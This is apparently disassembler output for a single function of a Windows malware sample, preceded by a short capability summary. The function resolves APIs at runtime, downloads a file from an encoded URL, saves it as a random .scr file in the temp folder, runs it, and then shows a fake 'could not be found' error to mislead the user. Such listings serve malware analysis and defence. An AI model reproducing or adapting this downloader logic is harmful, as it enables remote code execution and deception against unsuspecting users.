Function at 0x401060
Capabilities:
Link many functions at runtime
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9f0
push ebx
push esi
push edi
mov ebx, 0x3e8
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
pop ecx
mov esi, 0x402348
lea edi, [ebp - 0xe8]
rep movsd dword es:[edi], dword [esi]
mov esi, 0x40233c
lea edi, [ebp - 0x98]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x40232c
lea edi, [ebp - 0xa8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x402320
lea edi, [ebp - 0x68]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x402310
lea edi, [ebp - 0xb8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x4022fc
lea edi, [ebp - 0x110]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 6
pop ecx
mov esi, 0x4022e0
lea edi, [ebp - 0x144]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x4022d4
lea edi, [ebp - 0x8c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x4022c0
lea edi, [ebp - 0xfc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x4022b4
lea edi, [ebp - 0x5c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x4022a8
lea edi, [ebp - 0x74]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x402294
lea edi, [ebp - 0x50]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x402288
lea edi, [ebp - 0x80]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, 0x402278
lea edi, [ebp - 0xc8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 5
pop ecx
mov esi, 0x402260
lea edi, [ebp - 0x128]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x98]
push eax
movsb byte es:[edi], byte [esi]
call section..text
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
push eax
call esi
xor edi, edi
mov dword [ebp - 8], eax
cmp eax, edi
je 0x401481
lea eax, [ebp - 0xa8]
push eax
call section..text
pop ecx
push eax
call esi
mov dword [ebp - 4], eax
cmp eax, edi
je 0x401478
lea eax, [ebp - 0x68]
push eax
call section..text
pop ecx
push eax
call esi
mov dword [ebp - 0x20], eax
cmp eax, edi
je 0x40146f
lea eax, [ebp - 0xb8]
push eax
call section..text
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ecx
push eax
push dword [ebp - 8]
call esi
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x110]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 8]
call esi
mov dword [ebp - 0x10], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x144]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 4]
call esi
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x8c]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 4]
call esi
mov dword [ebp - 0x34], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0xfc]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 8]
call esi
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x5c]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 4]
call esi
mov dword [ebp - 0x30], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x74]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 4]
call esi
mov dword [ebp - 0x38], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x80]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 4]
call esi
mov dword [ebp - 0x28], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0xc8]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 0x20]
call esi
mov dword [ebp - 0x2c], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0x128]
push eax
call section..text
pop ecx
push eax
push dword [ebp - 8]
call esi
mov dword [ebp - 0x1c], eax
cmp eax, edi
je 0x401466
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCR90.dll_srand
pop ecx
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_109.0.0.0_Safari_537.36
call dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x401466
lea eax, [ebp - 0xe8]
push eax
call section..text
lea eax, [ebp - 0xe8]
push eax
call sub.MSVCR90.dll_strlen
inc eax
push eax
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x20c]
push eax
call sub.MSVCR90.dll_mbstowcs
add esp, 0x14
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
cmp eax, edi
je 0x401460
push 0x104
lea eax, [ebp - 0x7e8]
push eax
push str._temp_
call dword [ebp - 0x24]
call sub.MSVCR90.dll_rand
cdq
mov esi, 0x7fff
mov ecx, esi
idiv ecx
add edx, ebx
push edx
call sub.MSVCR90.dll_rand
cdq
idiv esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x7e8]
add edx, ebx
push edx
push eax
lea eax, [ebp - 0x5e0]
push str._s_d_d.scr
push eax
call esi
add esp, 0x14
push edi
push edi
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x5e0]
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x40145a
mov ebx, 0x103
jmp 0x4013de
cmp dword [ebp - 4], edi
je 0x4013f4
push edi
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x310]
push eax
push dword [ebp - 0x10]
call dword [ebp - 0x30]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x310]
push eax
push dword [ebp - 0x14]
call dword [ebp - 0x18]
test eax, eax
jne 0x4013c4
push dword [ebp - 0x10]
call dword [ebp - 0x38]
lea eax, [ebp - 0x50]
push eax
call section..text
lea eax, [ebp - 0x50]
push eax
call sub.MSVCR90.dll_strlen
inc eax
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3d8]
push eax
call sub.MSVCR90.dll_mbstowcs
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x5e0]
push eax
lea eax, [ebp - 0x9f0]
push str._s_s
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0x9f0]
push eax
call dword [ebp - 0x28]
push edi
push edi
push edi
lea eax, [ebp - 0x5e0]
push eax
push str.open
push edi
call dword [ebp - 0x2c]
push dword [ebp - 0x14]
call dword [ebp - 0x1c]
push dword [ebp - 0xc]
call dword [ebp - 0x1c]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x10
push str.Windows_Image_Viewer
push str.mwpnt32q.dll_could_not_be_found.
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10